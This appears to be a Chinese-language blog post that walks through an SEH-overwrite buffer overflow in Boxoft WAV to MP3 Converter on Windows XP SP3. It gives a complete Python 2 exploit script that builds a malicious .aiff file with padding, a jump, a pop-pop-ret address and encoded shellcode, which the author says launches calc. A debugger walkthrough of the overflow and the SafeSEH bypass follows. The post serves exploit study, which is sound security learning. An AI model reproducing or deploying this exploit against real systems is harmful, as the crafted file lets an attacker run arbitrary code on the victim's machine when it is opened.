Boxoft wav to mp3 converter SEH bypass technique tested on XP SP3

Win7下的测试请查询相关链接:
perl在Win7下的Exploit:https://www.exploit-db.com/exploits/38035

Windows XP SP3平台下测试:
分析过程:https://www.52pojie.cn/forum.php?mod=viewthread&tid=478524&aid=629593&from=album&page=1
#一定要用Python2进行编译。否则Exploit无效。
Python2 Exploit:

f = open("Expolit.aiff", "w")
f.write("A" * 4132)  # 4136 - 4
f.write("\xeb\x06\x90\x90") # jmp 06 nop nop
f.write("\xa4\x43\x40\x00")  # 构造 pop pop ret 这里利用了MessageBox函数

# Shelcode:
f.write("\x90" * 20)  #ShellCode前填充NOP
f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
"\xc4\xd9")   #弹出calc
f.write("\x90" * 20)#ShellCode 后填充Nop
f.close()

运行完py文件后,会生成一个Expolit.aiff,打开Wav to Mp3,将Expolit.aiff Add入,点击Convert To Mp3即可成功弹出计算器。

在这里插入图片描述
在这里插入图片描述

[2019/10/16]

补充分析:
这个实验目的是绕过SafeSEH的机制实现弹出计算器。
SafeSEH检测机制如下:
在这里插入图片描述
关于XP下如何查看DEP状态:
https://jingyan.baidu.com/article/454316ab73731ef7a7c03abe.html
在这里插入图片描述
可以看到这里默认是开启的。但是这“仅为”二字让我不解。
怎么样的程序才能算得上是“Windows程序和服务”呢?~

Anyway…Let’s start analysing
在这里插入图片描述
程序入OD,一直F8单步步过,至地址004C4E99弹出程序主界面后,将所生成的Exploit.aiff加入被测试软件,按下Play后继续分析。
在这里插入图片描述

在这里插入图片描述
单步运行了好几次,都是在004B9D85这个函数发生崩溃,因此可推断是在这个函数中发生了溢出。F2下个断点,重新运行并F7步入进行进一步分析。
在这里插入图片描述
在子函数中F8单步步过分析,发现004BA8A7处存在一个循环,不断地像堆栈中写入数据。[ 正是因为写入无校验,无限制,产生了溢出 ]
在这里插入图片描述
在这里插入图片描述
再单步F8。
在这里插入图片描述
找到了实际写数据的函数。每执行一次,多一个41。
在这里插入图片描述
一直写啊写啊,写了4132个41,将004BA8A7的RET
地址覆盖成了41414141,RET地址递交给EIP,并使得EIP的值变成了41414141。执行下一条指令为地址41414141中的指令。此内存不可读。产生异常,调用异常处理函数SEH Handler。执行地址004043A4中的处理代码。处理代码处理后执行Next SEH中的EB 06 90 90JMP 06,开始执行Shellcode,弹出计算器。
在这里插入图片描述
SEH处理异常的时候会向栈里压入两个参数所以栈溢出利用SEH结构的时候需要pop pop retn?
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值